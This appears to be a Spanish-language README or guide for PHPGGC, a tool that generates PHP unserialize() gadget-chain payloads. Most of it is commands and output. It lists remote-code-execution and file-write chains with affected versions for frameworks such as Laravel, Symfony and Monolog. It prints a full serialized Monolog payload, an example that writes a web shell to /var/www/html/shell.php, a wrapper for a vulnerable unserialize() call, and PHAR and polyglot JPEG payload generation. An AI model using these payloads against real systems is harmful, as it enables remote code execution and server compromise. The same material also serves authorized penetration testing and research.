
PHPGGC es una biblioteca de payloads de PHP unserialize() junto con una herramienta para generarlos, desde la línea de comandos o programáticamente.
PHPGGC es una librería de payloads de unserialize() junto con una herramienta para generarlos, desde la línea de comandos o programáticamente. Cuando te encuentras con un unserialize en un sitio web del que no tienes el código, o simplemente cuando intentas construir un exploit, esta herramienta te permite generar el payload sin tener que pasar por los tediosos pasos de encontrar gadgets y combinarlos. Puede considerarse el equivalente de frohoff's ysoserial, pero para PHP. Actualmente, la herramienta soporta cadenas de gadget como: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii y ZendFramework.
Se requiere PHP >= 5.6 para ejecutar PHPGGC.
Ejecuta ./phpggc -l para obtener una lista de cadenas de gadget:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
Filtrar cadenas de gadget:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
Cada cadena de gadget tiene:
__destruct(), __toString(), offsetGet(), ...)Usa -i para obtener información detallada sobre una cadena:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Para los gadgets RCE, el comando ejecutado puede tener 3 tipos de formato dependiendo de cómo funcione el gadget:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idUna vez que hayas seleccionado una cadena, ejecuta ./phpggc <gadget-chain> [parámetros] para obtener el payload.
Por ejemplo, para obtener un payload para Monolog, harías:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
Para una escritura de archivo usando SwiftMailer, harías:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
La opción --wrapper (-w) te permite definir un archivo PHP que contenga las siguientes funciones:
process_parameters(array $parameters): Se llama justo antes de generate(), permite cambiar los parámetrosprocess_object(object $object): Se llama justo antes de serialize(), permite cambiar el objetoprocess_serialized(string $serialized): Se llama justo después de serialize(), permite cambiar la cadena serializadaPor ejemplo, si el código vulnerable se ve así:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
Podrías usar una cadena __toString(), envolviéndola de la siguiente manera:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
Y llamarías a phpggc de la siguiente manera:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
En BlackHat US 2018, @s_n_t lanzó PHARGGC, un fork de PHPGGC que en lugar de construir un payload serializado, construye un archivo PHAR completo. Este archivo PHAR contiene datos serializados y, como tal, puede usarse para varias técnicas de explotación (file_exists, fopen, etc.). El paper está aquí.
Los archivos PHAR vienen en tres formatos diferentes: PHAR, TAR y ZIP. Los tres son soportados por PHPGGC.
Los archivos políglota se pueden generar usando --phar-jpeg (-pj). Hay otras opciones disponibles (usa -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id